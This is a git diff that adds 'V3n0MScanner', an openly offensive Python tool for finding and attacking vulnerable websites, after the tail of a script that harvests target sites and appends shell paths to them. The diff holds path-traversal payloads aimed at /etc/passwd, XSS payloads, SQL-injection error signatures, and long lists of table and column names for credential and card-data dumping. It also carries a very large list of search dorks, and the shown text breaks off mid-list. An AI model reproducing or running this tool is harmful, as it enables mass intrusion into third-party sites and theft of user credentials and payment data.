+if int(sys.argv[2]) <= 10:
+	print "\n[-] Argument [",sys.argv[2],"] must be greater than 10.\n"
+	sys.exit(1)
+
+query = re.sub("\s","+",sys.argv[1])
+if len(sys.argv) == 5:
+	shell=sys.argv[4]
+	if shell[0] != "/":
+		shell = "/"+shell
+else:
+	shell = ""
+	
+d=[]
+
+getsites()
+d = list(sets.Set(d))
+		
+file = open(sys.argv[3], "a")
+print "\n[+] Found:",len(d)
+print "[+] Writing Data:",sys.argv[3]
+for sites in d:	
+	if sites.find('www') != -1:
+		sites = sites[sites.find('www'):]
+	if len(sites) > 12: 
+		file.writelines(sites+shell+"\n")
+file.close()
+print "[-] Done\n"
+
diff --git a/3rdparty/multiscanner.py b/3rdparty/multiscanner.py
new file mode 100644
index 0000000..773b1b7
--- /dev/null
+++ b/3rdparty/multiscanner.py
@@ -0,0 +1,685 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+# V3n0MScanner.py - a modified smartd0rk3r
+#    - added superlarge Dork list
+#    - added new headers
+#    - added lots of new XSS detectors
+#   
+#
+# smartd0rk3r.py - a modified darkd0rk3r
+#   - added dork array
+#   - added input for number of random dorks
+#   - added bugfix for over tor (it crashed alot over tor)
+#   - added optimization, 1 page with 0 results, skip to next dork
+#   - added extra check for links to comply with target (makes it alot more target-specific)
+#     put main instructions together, added 12 - new scan option
+#   - added Column Finder
+#   - added column and table fuzzer
+#
+# rewrite done by levi
+# Column Finder added by baltazar
+# Fuzzer added by baltazar
+# mad propz to the original author for making a nice script that was easily modified!!!!
+#
+# original header:
+#
+# This was written for educational purpose and pentest only. Use it at your own risk.
+# Author will be not responsible for any damage!
+# !!! Special greetz for my friend sinner_01 !!!
+# Toolname        : darkd0rk3r.py
+# Coder           : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
+# Version         : 1.0
+# greetz for all members of ex darkc0de.com, ljuska.org
+#
+
+import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
+from random import choice
+
+# Colours
+W  = "\033[0m";  
+R  = "\033[31m"; 
+G  = "\033[32m"; 
+O  = "\033[33m"; 
+B  = "\033[34m";
+
+
+# Banner
+def logo():
+        print R+"\n|---------------------------------------------------------------|"
+        print "| V3n0mScanner.py    - a modified smartd0rk3r.py                |"
+        print "|  11/2012           - v.0.1                                    |"
+        print "|                                                               |"
+        print "|     levi           - l3v1athan@tormail.org                    |"
+        print "|     baltazar       - b4ltazar@gmail.com                       |"
+        print "|     NovaCygni      - novacygni@hotmail.co.uk                  |"
+        print "|                                                               |"
+        print "|  Visit b4ltazar.us                                            |"
+        print "|---------------------------------------------------------------|\n"
+        print W
+
+if sys.platform == 'linux' or sys.platform == 'linux2':
+  subprocess.call("clear", shell=True)
+  logo()
+  
+else:
+  subprocess.call("cls", shell=True)
+  logo()
+  
+log = "v3n0m-sqli.txt"
+logfile = open(log, "a")
+lfi_log = "v3n0m-lfi.txt"
+lfi_log_file = open(lfi_log, "a")
+rce_log = "v3n0m-rce.txt"
+rce_log_file = open(rce_log, "a")
+xss_log = "v3n0m-xss.txt"
+xss_log_file = open(xss_log, "a")
+
+arg_end = "--"
+arg_eva = "+"
+colMax = 10 # Change this at your will
+gets = 0
+file = "/etc/passwd"
+threads = []
+darkurl = []
+vuln = []
+col = []
+timeout = 60
+socket.setdefaulttimeout(timeout)
+
+
+
+           
+lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
+
+xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E","PGgxPlhTUyBieSBOb3ZhQ3lnbmk8L2gxPg==","%3C%68%31%3E%58%53%53%20%62%79%20%4E%6F%76%61%43%79%67%6E%69%3C%2F%68%31%3E","&#x3C;&#x68;&#x31;&#x3E;&#x58;&#x53;&#x53; &#x62;&#x79; &#x4E;&#x6F;&#x76;&#x61;&#x43;&#x79;&#x67;&#x6E;&#x69;&#x3C;&#x2F;&#x68;&#x31;&#x3E;","<IMG SRC=JaVaScRiPt:alert('XSS by NovaCygni')>","<IMG SRC=`javascript:alert('XSS By NovaCygni')`>"]
+
+tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']
+
+columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
+
+
+sqlerrors = {'MySQL': 'error in your SQL syntax',
+             'MiscError': 'mysql_fetch',
+             'MiscError2': 'num_rows',
+             'Oracle': 'ORA-01756',
+             'JDBC_CFM': 'Error Executing Database Query',
+             'JDBC_CFM2': 'SQLServer JDBC Driver',
+             'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
+             'MSSQL_Uqm': 'Unclosed quotation mark',
+             'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
+             'MS-Access_JETdb': 'Microsoft JET Database',
+             'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
+             'Server Error' : 'Server Error',
+             'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
+             'Invalid Querystring' : 'Invalid Querystring',
+             'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
+             'VBScript Runtime' : 'VBScript Runtime',
+             'ADODB.Field' : 'ADODB.Field',
+             'BOF or EOF' : 'BOF or EOF',
+             'ADODB.Command' : 'ADODB.Command',
+             'JET Database' : 'JET Database',
+             'mysql_fetch_array()' : 'mysql_fetch_array()',
+             'Syntax error' : 'Syntax error',
+             'mysql_numrows()' : 'mysql_numrows()',
+             'GetArray()' : 'GetArray()',
+             'FetchRow()' : 'FetchRow()',
+             'Input string was not in a correct format' : 'Input string was not in a correct format'}
+             
+
+header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
+          'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
+          'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
+	  'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
+	  'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
+	  'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
+	  'Microsoft Internet Explorer/4.0b1 (Windows 95)',
+	  'Opera/8.00 (Windows NT 5.1; U; en)',
+	  'amaya/9.51 libwww/5.4.0',
+	  'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
+	  'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
+	  'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
+	  'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
+	  'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
+	  'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
+	  
+           
+
+d0rk = [ '.asp?CategoryID', '.asp?ProdID', '.asp?Sku', '.asp?StyleID', '.asp?cart', '.asp?cartID', '.asp?catID', '.asp?catalogid', '.asp?categorylist', '.asp?cid', '.asp?code', '.asp?codeno', '.asp?designer', '.asp?framecode', '.asp?id', '.asp?idcategory', '.asp?idproduct', '.asp?intCatalogID', '.asp?intProdId', '.asp?item', '.asp?itemID', '.asp?maingroup', '.asp?misc', '.asp?newsid', '.asp?orderid', '.asp?p', '.asp?pid', '.asp?product', '.asp?productid', '.asp?showtopic', '.asp?storeid', '.asp?userID', '.br/index.php?loc', '.gov.br/index.php?arquivo', '.htpasswd', '.php?PageID', '.php?REQUEST&REQUEST[option]comcontent&REQUEST[Itemid]1&GLOBALS&mosConfigabsolutepath', '.php?S', '.php?a', '.php?abrir', '.php?act', '.php?action', '.php?ad', '.php?archive', '.php?area', '.php?article', '.php?b', '.php?back', '.php?base', '.php?basedir', '.php?bbs', '.php?boardno', '.php?body', '.php?c', '.php?caldir', '.php?cat', '.php?catch', '.php?category', '.php?choice', '.php?cid', '.php?class', '.php?clubid', '.php?cod', '.php?cod.tipo', '.php?conf', '.php?configFile', '.php?cont', '.php?corpo', '.php?cvsroot', '.php?d', '.php?da', '.php?date', '.php?debug', '.php?debut', '.php?default', '.php?destino', '.php?dir', '.php?display', '.php?east', '.php?f', '.php?fcontent', '.php?file', '.php?fileid', '.php?filepath', '.php?flash', '.php?folder', '.php?for', '.php?form', '.php?formatword', '.php?from', '.php?funcao', '.php?function', '.php?g', '.php?get', '.php?go', '.php?gorumDir', '.php?goto', '.php?h', '.php?headline', '.php?i', '.php?id', '.php?inc', '.php?include', '.php?includedir', '.php?inf', '.php?inter', '.php?itemid', '.php?j', '.php?join', '.php?jojo', '.php?l', '.php?la', '.php?lan', '.php?lang', '.php?layout', '.php?lest', '.php?link', '.php?load', '.php?loc', '.php?locate', '.php?m', '.php?main', '.php?meio', '.php?meio.php', '.php?menu', '.php?menuID', '.php?mep', '.php?mid', '.php?mode', '.php?month', '.php?mostra', '.php?my', '.php?n', '.php?naam', '.php?name', '.php?nav', '.php?new', '.php?news', '.php?next', '.php?nextpage', '.php?o', '.php?op', '.php?open', '.php?option', '.php?origem', '.php?p', '.php?pageurl', '.php?para', '.php?part', '.php?perm', '.php?pg', '.php?pid', '.php?place', '.php?play', '.php?plugin', '.php?pmpath', '.php?pollname', '.php?post', '.php?pr', '.php?prefix', '.php?prefixo', '.php?q', '.php?redirect', '.php?ref', '.php?refid', '.php?regionId', '.php?release', '.php?releaseid', '.php?return', '.php?root', '.php?searchcodeid', '.php?sec', '.php?secao', '.php?secc', '.php?sect', '.php?sel', '.php?server', '.php?servico', '.php?session&content', '.php?sg', '.php?shard', '.php?show', '.php?sid', '.php?site', '.php?sourcedir', '.php?start', '.php?storyid', '.php?str', '.php?subd', '.php?subdir', '.php?subject', '.php?sufixo', '.php?systempath', '.php?t', '.php?task', '.php?teste', '.php?themedir', '.php?threadid', '.php?tid', '.php?title', '.php?to', '.php?topicid', '.php?type', '.php?u', '.php?url', '.php?urlFrom', '.php?v', '.php?var', '.php?vi', '.php?view', '.php?visual', '.php?wPage', '.php?y', '.php?z', '.php?zo', '/.gov.br/index.php?arquivo', '/.php?include', '/.php?page', '/.php?secc', '//langenglish/langmainalbum.php?phpbbrootpath', '/?mosConfigabsolutepath', '/?p', '/?pag', '/?page', '/?pagephp5?id', '/?pagphp5?id', '/?pg', '/?pgphp5?id', '/?pphp5?id', '/Citrix/Nfuse17/', '/Decoder.php?basedir', '/Encoder.php?basedir', '/Gallery/displayCategory.php?basepath', '/Gery/displayCategory.php?basepath', '/GradeMap/index.php?page', '/Index.php?id', '/Merchant2/admin.mv|/Merchant2/admin.mvc|MivaMerchantAdministrationLogincheapmalboro.net', '/MyeGallery/public/displayCategory.php?basepath', '/NSearch/AdminServlet', '/NuclearBB/tasks/sendqueuedemails.php?rootpath', '/PHPDJv05/dj/djpage.php?page', '/PhpLinkExchange/bitslistings.php?svrrootPhpStart', '/Popper/index.php?childwindow.inc.php?form', '/SQuery/lib/gore.php?libpath', '/SUSAdminMicrosoftSoftwareupd?t?Services', '/WebSTAR', '/[MyAlbumDIR]/.inc.php?langsdir', '/[Script', '/access/login.php?pathtoroot', '/account.php?action', '/accounts.php?command', '/active/components/xmlrpc/client.php?c[components]', '/addmedia.php?factsfile[$]', '/addpostnewpoll.php?addpollpreview&thispath', '/addpostnewpoll.php?addpollpreview&thispath/ubbthreads/', '/addpostnewpoll.php?addpollpreview&thispathubbthreads', '/admcfgedit.php', '/admin.php?caldir', '/admin.php?page', '/admin/auth.php?xcartdir', '/admin/configuration.php?Mystore', '/admin/doeditconfig.php?thispath./includes&config[path]', '/admin/inc/changeaction.php?formatmenue', '/admin/include/header.php?repertoire', '/admin/index.php?o', '/admin/index.php?oadmin/index.php', '/admin/index.php?oadmin/index.php;', '/admin/login.asp', '/admincp/auth/checklogin.php?cfgProgDir', '/administrator/components/coma6mambocredits/admin.a6mambocredits.php?mosConfiglivesite', '/administrator/components/comcomprofiler/plugin.class.php?mosConfigabsolutepath', '/administrator/components/comcropimage/admin.cropcanvas.php?cropimagedir', '/administrator/components/comjcs/jcs.function.php?mosConfigabsolutepath', ]
+d0rk += [ 'addToCart.cfm?idProduct', 'addToCart.php?idProduct', 'addcart.asp?', 'addcart.asp?num', 'addcart.cfm?', 'addcart.cfm?num', 'addcart.php?', 'addcart.php?num', 'addcolumn.php?id', 'addedit.php?rootdir', 'addevent.inc.php?agendaxpath', 'addimage.php?cid', 'addmedia.php?factsfile[$LANGUAGE]phpGedView', 'addpages.php?id', 'addsiteform.php?catid', 'addtocart.asp?ID', 'addtocart.cfm?ID', 'addtocart.php?ID', 'addtomylist.asp?ProdId', 'addtomylist.cfm?ProdId', 'addtomylist.php?ProdId', 'adetail.php?id', 'admin', 'admin.php?caldir', 'admin.php?page', 'admin/doeditconfig.php?thispath./includes&config[path]', 'admin/doeditconfig.php?thispath./includes&config[path]admin', 'admin/index.php?o', 'adminEditProductFields.asp?intProdID', 'adminEditProductFields.cfm?intProdID', 'adminEditProductFields.php?intProdID', 'adminaccountinfofiletypelog', 'adminfiletypeaspGenericuserlistfiles', 'adminfiletypedb', 'adminfiletypexls', 'administrator/components/coma6mambocredits/admin.a6mambocredits.php?mosConfiglivesite', 'administrator/components/comcomprofiler/plugin.class.php?mosConfigabsolutepath', 'administrator/components/comcomprofiler/plugin.class.php?mosConfigabsolutepath/tools/sendreminders.php?includedirallday.php?date', 'administrator/components/comcomprofiler/plugin.class.php?mosConfigabsolutepath/tools/sendreminders.php?includedirday.php?date', 'administrator/components/comcropimage/admin.cropcanvas.php?cropimagedir', 'administrator/components/comcropimage/admin.cropcanvas.php?cropimagedirmodules/MyeGallery/index.php?basepath', 'administrator/components/comcropimage/admin.cropcanvas.php?cropimagedirmodules/MyeGery/index.php?basepath', 'administrator/components/comlinkdirectory/toolbar.linkdirectory.html.php?mosConfigabsolutepath', 'administrator/components/commgm/help.mgm.php?mosConfigabsolutepath', 'administrator/components/commgm/help.mgm.php?mosConfigabsolutepathhelp.php?csspath', 'administrator/components/compeoplebook/param.peoplebook.php?mosConfigabsolutepath', 'administrator/components/comremository/admin.remository.php?mosConfigabsolutepath', 'administrator/components/comremository/admin.remository.php?mosConfigabsolutepath/comremository/', 'administrator/components/comremository/admin.remository.php?mosConfigabsolutepath/tags.php?BBCodeFile', 'administrator/components/comremository/admin.remository.php?mosConfigabsolutepathMambo', 'administrator/components/comremository/admin.remository.php?mosConfigabsolutepathcomremository', 'administrator/components/comremository/admin.remository.php?mosConfigabsolutepathindex.php?optioncomremository', 'administrator/components/comwebring/admin.webring.docs.php?componentdir', 'administrators.pwd', 'administratorwelcometomambo', 'adminlogin', 'adminpanel', 'adminuserlistGenericuserlistfiles', 'adobtsitel', 'adpassword.txt', 'ads/index.php?cat', 'advSearchh.asp?idCategory', 'advSearchh.cfm?idCategory', 'advSearchh.php?idCategory', 'affich.php?base', 'affiliate.asp?ID', 'affiliate.cfm?ID', 'affiliate.php?ID', 'affiliateagreement.cfm?storeid', 'affiliates.asp?id', 'affiliates.cfm?id', 'affiliates.php?id', 'afile', 'agendax/addevent.inc.php?agendaxpath', 'ages.php?id', 'aggregator.php?id', 'aglimpse', 'airactivity.cfm?id', 'akocomments.php?mosConfigabsolutepath', 'aktuelles/meldungendetail.asp?id', 'aktuelles/meldungendetail.php?id', 'aktuelles/veranstaltungen/detail.asp?id', 'aktuelles/veranstaltungen/detail.php?id', 'albumportal.php?phpbbrootpath', 'alinitialize.php?alpath', 'all..TestpageforApacheInstallation..', 'all.br/index.php?loc', 'all.php?bodyfile', 'all.r{}vticnf/', 'all//vtipvt/|all//vticnf/', 'all/Popper/index.php?', 'all/default.php?pagehome', 'all/examples/jsp/snp/snoop.jsp', 'all/folder.php?id', 'all/forum/', 'all/includes/orderSuccess.inc.php?glob', 'all/index.php?filesite.dk', 'all/index.php?pagesite.dk', 'all/modules.php?nameallmyguests', 'all/osticket/', 'all4nAlbumsite.org', 'allNetworkCameraNetworkCamera', 'allWelcometotheCyclades', 'all\TestpageforApacheInstallation', 'alladmin.php', 'alladminmdb', 'allapplication.php?basepath', 'allauthuserfile.txt', 'allcdkey.txt', 'allcontrol/multiview', 'allcopperminesite.org', 'allexchange/logon.asp', 'allforums.html', 'allihm.php?p', 'allindex.phpsitesglinks', 'allindexof/admin', 'allindexof/root', 'allinstall/install.php', 'allintranetadmin', 'allmain.php?pagina', 'allmanage.pl', 'allmyegallerysite.org', 'allowcalltimepassreferencePATHINFO', 'allpoweredbyAshNewsallAshNewsatauall/ashnews.php', 'allrestrictedfiletypedocsitegov', 'allrestrictedfiletypemail', 'allsensitivefiletypedoc', 'allservlet/SnoopServlet', 'allshoutbox/expanded.phpfiletypephp', 'allstatic.php?load', 'allwps/portal/login', 'allxgallerysite.org', 'altroesempioWinZip8.1\WinZip8.1\94FBR', 'amadmin.pl', 'ancillary.asp?ID', 'ancillary.cfm?ID', 'ancillary.php?ID', 'andserverinformation', 'animal/products.php?id', 'anj.php?id', 'announce.php?id', 'announcements.php?phpraiddirphpraid', 'announcements.php?phpraiddirphpraidsignup', 'answer/default.asp?pollID', 'answer/default.php?pollID' ] 
+d0rk += [ 'aol/do/rsspopup?blogID', 'aol/do/rsspopup?blogIDfooter.inc.phpinfo.inc.phpManyServers.htm', 'app/webeditor/login.cgi?username&commandsimple&doedit&password&file', 'apricotadmin00h', 'architectfull.php?id', 'archive.asp?id', 'archive.cfm?id', 'archive.php?id', 'archive/get.asp?messageid', 'archive/get.php?messageid', 'areoftentypedasargumentstrings', 'arg.php?argphp?arg', 'args.php?argphp?arg', 'arquivo.php?data', 'ars/cgibin/arweb?O0|arweb.jspsiteremedy.comsitemil', 'ars/cgibin/arweb?O0�|arweb.jspsiteremedy.comsitemil', 'art.asp?id', 'art.php?id', 'art.php?idm', 'artform.cfm?id', 'article.asp?id', 'article.cfm?id', 'article.php?ID', 'article.php?sid', 'article/article.php?id', 'article/index.php?id', 'articlecategory.asp?id', 'articlecategory.php?id', 'articlefull.php?id', 'articlepreview.asp?id', 'articlepreview.php?id', 'articles.asp?id', 'articles.cgi?a34&t', 'articles.php?id', 'articles/article.php?id', 'articles/details.php?id', 'articles/index.php?id', 'artikelinfo.php?id', 'artist.php?id', 'artistart.asp?id', 'artistart.php?id', 'artistdetail.php?ID', 'artistinfo.php?artistId', 'artists.php?id', 'artists/details.php?id', 'artists/index.php?id', 'artists/story/index.php?id', 'artpage.php?id', 'ashellcommandprompt;usernamesare', 'asp', 'asp/event.asp?id', 'asp/fid8E1BED06B1301BAE3ED64383D5F619E3B1997A70.aspx?s', 'asp/fid985C124FBD9EF3A29BA8F40521F12D097B0E2016.aspx?s', 'asp/index.asp?id', 'aspx?PageID', 'asterisk.management.portalwebaccess', 'atom.php5?pagephp5?id', 'auction/item.asp?id', 'auction/item.php?id', 'auctiondetails.php?auctionid', 'auctionweaver.pl', 'auktion.pl?menue', 'authorDetails.asp?bookID', 'authorDetails.php?bookID', 'authors.pwd', 'authuserfile.txt', 'auto.php?incphp?inc', 'auto.php?pageauto.php?page', 'avatar.php?page', 'avdstart.php?avd', 'awards/index.php?input1', 'axiscgi/jpg', 'axiscgi/mjpgmotionJPEG', 'axisvideoserver', 'b2evo>LoginformLoginform.Youmustlogin!Youwillhavetoacceptcookiesinordertologindemositeb2evolution.net', 'backupfiletypemdb', 'bandinfo.php?id', 'base.php?', 'base.php?[]', 'base.php?abre', 'base.php?adresa', 'base.php?basedir', 'base.php?basepath', 'base.php?body', 'base.php?category', 'base.php?chapter', 'base.php?choix', 'base.php?cont', 'base.php?disp', 'base.php?doshow', 'base.php?ev', 'base.php?eval', 'base.php?f1base.php?f1', 'base.php?f1php?f1', 'base.php?filepath', 'base.php?home', 'base.php?id', 'base.php?incl', 'base.php?include', 'base.php?ir', 'base.php?itemnav', 'base.php?k', 'base.php?ki', 'base.php?l', 'base.php?lang', 'base.php?link', 'base.php?loc', 'base.php?mid', 'base.php?middle', 'base.php?middlePart', 'base.php?module', 'base.php?name', 'base.php?numero', 'base.php?oldal', 'base.php?opcion', 'base.php?pa', 'base.php?pag', 'base.php?pageweb', 'base.php?panel', 'base.php?path', 'base.php?phpbbrootpath', 'base.php?play', 'base.php?pname', 'base.php?rub', 'base.php?seccion', 'base.php?second', 'base.php?seite', 'base.php?sekce', 'base.php?sivu', 'base.php?str', 'base.php?subject', 'base.php?t', 'base.php?texto', 'base.php?to', 'base.php?v', 'base.php?var', 'base.php?w', 'basket.asp?id', 'basket.cfm?id', 'basket.php?id', 'bayer/dtnews.asp?id', 'bayer/dtnews.php?id', 'bbs/bbsView.asp?id', 'bbs/bbsView.php?id', 'bbs/view.asp?no', 'bbs/view.php?no', 'bbs/view.php?tbl', 'bbsforum.cgi', 'bbusagestats/include/bbusagestats.php?phpbbrootpath', 'bbusagestats/include/bbusagestats.php?phpbbrootpathforum', 'bearstore/store.php?catid', 'becommunity/community/index.php?pageurl', 'beitragD.asp?id', 'beitragD.php?id', 'beitragF.asp?id', 'beitragF.php?id', 'bid/topic.asp?TopicID', 'bid/topic.php?TopicID', 'big.php?pathtotemplate', 'bin.welcome.sh|bin.welcome.bat|eHealth.5.0', 'biznews.cgi?a33&t', 'blank.php?OpenPage', 'blank.php?abre', 'blank.php?action', 'blank.php?basedir', 'blank.php?basepath', 'blank.php?body', 'blank.php?category', 'blank.php?channel', 'blank.php?corpo', 'blank.php?destino', 'blank.php?dir', 'blank.php?filepath', 'blank.php?get', 'blank.php?goFile', 'blank.php?goto', 'blank.php?h', 'blank.php?header', 'blank.php?id', 'blank.php?in', 'blank.php?incl', 'blank.php?ir', 'blank.php?itemnav', 'blank.php?j', 'blank.php?ki', 'blank.php?lang', 'blank.php?left', 'blank.php?link', 'blank.php?loader', 'blank.php?menu', 'blank.php?mod', 'blank.php?name', 'blank.php?o', 'blank.php?oldal', 'blank.php?open', 'blank.php?pa', 'blank.php?page', 'blank.php?pagina', 'blank.php?panel', 'blank.php?path', 'blank.php?phpbbrootpath', 'blank.php?pname', 'blank.php?pollname', 'blank.php?pr', 'blank.php?pre', 'blank.php?pref', 'blank.php?qry', 'blank.php?read', 'blank.php?ref', 